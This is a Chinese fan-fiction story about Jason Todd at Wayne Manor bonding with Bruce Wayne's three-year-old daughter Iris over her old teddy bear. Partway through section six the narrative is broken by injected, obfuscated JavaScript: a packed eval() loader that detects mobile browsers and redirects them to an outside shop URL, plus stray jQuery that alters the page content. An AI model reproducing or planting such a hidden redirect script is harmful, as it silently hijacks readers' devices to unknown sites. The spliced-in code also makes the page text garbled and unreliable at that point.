1.
杰森·陶德讨厌韦恩大宅。
这不是什么秘密。他讨厌这里的走廊太长，讨厌这里的房间太多，讨厌这里的管家永远彬彬有礼，讨厌这里的每个角落都写着“你不属于这里”。
他更讨厌布鲁斯·韦恩那种“我在努力对你好”的眼神。
好像他是个需要被修复的东西。
好像他是什么可怜的流浪猫。
2.
那天下午，杰森窝在图书室的角落里看书。
说是图书室，其实是个没人来的偏厅。书架上的书落着灰，沙发倒是很软。他喜欢这里，因为没人会来烦他。
门被推开了。
杰森抬起头，皱起眉。
门口站着一个小不点。
大概三岁，浅灰黑色的头发乱糟糟的，穿着一条碎花裙，光着脚丫。她怀里抱着一只棕色的泰迪熊——旧旧的，绒毛都磨秃了，眼睛有一颗松了，但还是被紧紧抱着。
是艾瑞斯。
那个刚被接回来的小丫头。
杰森听阿福提过：布鲁斯的亲生女儿，之前一直被人养着，最近才回来。
他没兴趣了解。
他低下头，继续看书。
小不点没走。
杰森能感觉到她的视线。就那么盯着他，一动不动。
他抬起头。
“干什么？”
小不点眨眨眼睛。
“……看你。”
杰森噎了一下。
“别看我。”
“不要。”小不点坚持，“你眉毛这样。”
她学着杰森的样子，把眉毛往下压了压。
杰森看着她那张努力学他表情的小脸，忽然不知道该说什么。
小不点抱着泰迪熊，站在原地，也没有要走的意思。
沉默了三秒。
“你叫什么？”小不点问。
“杰森。”
“杰森。”她重复了一遍，点点头，像是在记什么东西。
然后她转身走了。
光着脚丫，啪嗒啪嗒地消失在门口。
杰森：“……”
什么毛病。
3.
后面几天，杰森在走廊里又遇到她。
她还是在抱着那只旧泰迪熊，站在拐角处，像是在等什么。
杰森走过去的时候，她抬起头。
“杰森。”
“嗯？”
小不点举起手里的泰迪熊。
“它叫杰瑞。”
杰森低头看了看那只熊。旧的，秃的，眼睛松了一颗。
“……哦。”
“杰瑞说你好。”
杰森看着那张认真的小脸。
“它怎么说的？”
小不点想了想。
“它没说话。但是它看着你的时候，我觉得它想说你好。”
杰森愣了一下。
小不点已经把泰迪熊收了回去，抱在怀里，转身走了。
啪嗒啪嗒的光脚声消失在走廊尽头。
杰森站在原地，看着那个小小的背影。
4.
第三次见面是在厨房。
杰森半夜睡不着，下来找吃的。冰箱里有什么拿什么，三明治、牛奶、昨天剩的披萨——他不在意。
厨房的灯亮着。
小不点坐在料理台旁边的地上，抱着那只泰迪熊，面前摆着一杯牛奶。
阿福不在。
杰森站在门口，看着她。
小不点抬起头。
“杰森。”
“你怎么在这儿？”
“睡不着。”
“阿福呢？”
“睡觉了。”
杰森皱起眉。一个三岁小孩，大半夜不睡觉，坐在地上喝牛奶？
他走过去，把东西放在料理台上，低头看她。
“你不怕黑？”
小不点想了想。
“不怕。”
“不怕一个人？”
小不点又想了想。
“杰瑞陪我。”
杰森低头看了看那只泰迪熊。松了眼睛的、秃了毛的、丑丑的泰迪熊。
他忽然不知道该说什么。
小不点捧着牛奶杯，小口小口地喝。
厨房里很安静。
杰森拿起一片披萨，靠在料理台边，也安静地吃。
过了一会儿，小不点开口了。
“杰森。”
“嗯？”
“你也睡不着吗？”
杰森顿了一下。
“……嗯。”
“为什么？”
他低头看她。
小不点的眼睛很蓝。在厨房昏暗的灯光下，那蓝色显得很干净，很亮。
他移开视线。
“大人的事，小孩别问。”
小不点没说话。
但她抱着泰迪熊站起来，走到他旁边，靠在他腿上。
杰森僵住了。
小不点就那么靠着，也不说话，也不动，就是靠着。
软软的，暖暖的，一小团。
杰森低头看着她乱糟糟的头发。
他想说什么。
但什么都没说出来。
5.
后来杰森发现，艾瑞斯是个很奇怪的小孩。
她有些唠叨…
她不是特别爱闹，但总会在某些时候突然出现在他旁边。
有时候是在走廊里，她抱着泰迪熊路过，抬头看他一眼。
有时候是在花园里，她蹲在灌木丛边看蚂蚁，他在旁边练拳，她就那么蹲着，一下午不吭声。
有时候是在餐桌上，她坐在儿童椅上，用小勺子舀着麦片，一边吃一边看他。
迪克有一次问他：“杰森，艾瑞斯好像很喜欢你。”
杰森皱眉：“她才三岁，懂什么叫喜欢？”
迪克笑了：“她不懂，但她就是喜欢。你没发现吗？她总在你旁边。”
杰森没说话。
他发现了。
6.
那天下午，杰森在房间里。
门开着。
小不点站在门口，抱着泰迪熊，往里看。
杰森靠在床头看书，余光瞥到那个小小的身影。
“进来。”
小不点走进来，站在床边。
“杰森。”
“嗯？”
“你今天不开心。”
杰森愣了一下。
他看着小不点。
她那双蓝眼睛认真地看着他，没有疑问，只是陈述。
“你怎么知道？”
“你吃饭的时候不说话。”
“我平时也不说话。”
“你平时不说话是懒得说，”小不点说，“今天不说话是不想说。”
杰森沉默了。
这小孩什么毛病。
小不点爬上他的床，在床尾坐下，把泰迪熊放在腿上。
“你可以说。”她说。
杰森看着她。
“说什么？”
“什么都可以。”小不点想了想，“不说也可以。”
她拍了拍泰迪熊的头。
“杰瑞陪你。”
杰森看着那只旧旧的、丑丑的、眼睛松了一颗的泰迪熊。
他忽然想起一些事。
关于他以前的生活。关于犯罪巷。关于那些他从来不说的事。
他一直觉得，这座大宅里没人懂他。
布鲁斯不懂。迪克不懂。阿福也不完全懂。
但这个小不点……
她什么都不问，什么都不说，就只是坐在他旁边。
软软的，暖暖的，一小团。
杰森靠回床头，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244860|197845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着天花板。
沉默了很久。
然后他开口。
“……我以前住的地方，跟你现在待的幼儿园不太一样。”
小不点听着。
“那里很吵。很乱。有时候很危险。”
他顿了顿。
“我没见过我爸爸。我妈……她有自己的事。”
小不点没说话。
杰森继续说，声音很轻。
“所以我不太习惯这里。太安静了，太干净了，每个人都对我很好……但我不知道他们是不是真的。”
他说完，自己都愣了一下。
他从来没跟任何人说过这些。
他低头看向床尾。
小不点抱着泰迪熊，认真地看着他。
那双蓝眼睛很平静。
“我不知道。”她说。
杰森：“……”
“但是杰瑞喜欢你。”她把泰迪熊往前递了递，“我也喜欢你。”
杰森看着那只递过来的泰迪熊。
旧的。秃的。眼睛松了一颗的。
丑得要命。
他忽然觉得眼眶有点酸。
“你才三岁，”他声音有点哑，“你懂什么叫喜欢？”
小不点安静了一会。
她说，“当你不在了我会想你。”
杰森没说话。
他看着那只泰迪熊，看着那双认真的蓝眼睛，看着那个坐在他床尾的小小身影。
然后他伸出手，接过那只熊。
“送给你”她说。
小不点。
她爬下床，光着脚丫，啪嗒啪嗒地走到门口。
回头看了他一眼。
“杰森。”
“嗯？”
“再见。”
她走了。
杰森坐在床上，抱着那只旧泰迪熊，看着空荡荡的门口。
熊的眼睛松了一颗，歪着，看起来很蠢。
他把熊抱紧了一点。
7.
那天晚上，杰森做了一个梦。
不是噩梦。
是梦到小时候，犯罪巷，那些灰扑扑的日子。
但不一样的是，梦里有一个小小的身影在他旁边。
抱着泰迪熊。光着脚丫。蓝眼睛安静地看着他。
他醒过来的时候，发现怀里抱着那只泰迪熊。
丑。旧。眼睛松了一颗。
他盯着它看了很久。
然后他把熊放在枕头边，闭上眼睛。
8.
第二天，杰森把熊还给艾瑞斯。
小不点接过来，抱在怀里，抬头看他。
“你喜欢吗？”
杰森顿了一下。
“……还行。”
小不点笑了。
再次把玩偶递给杰森。
“它是你的。”
杰森看着那个笑容，忽然觉得心里有什么地方软了一下。
“走吧，”他说，“带你去花园看蚂蚁。”
小不点伸出手，牵住他的手指。
软软的，暖暖的，小小的一团。
杰森低头看她。
她正看着前方，阳光落在她乱糟糟的头发上。
他想：这小孩以后可能会很烦人。
但他没把手抽开。
9.
后来那只泰迪熊一直放在杰森的房间。
艾瑞斯送给他的。
“杰瑞可以陪你睡觉。”她说。
杰森问：“你不需要吗？”
艾瑞斯想了想。
“你更需要。”
杰森：“……”
10.
杰森还是会想起那个下午。
一个三岁的小不点，抱着旧泰迪熊，坐在他床尾，认真地说“我喜欢你”。
那是他这辈子收到的，最柔和的爱。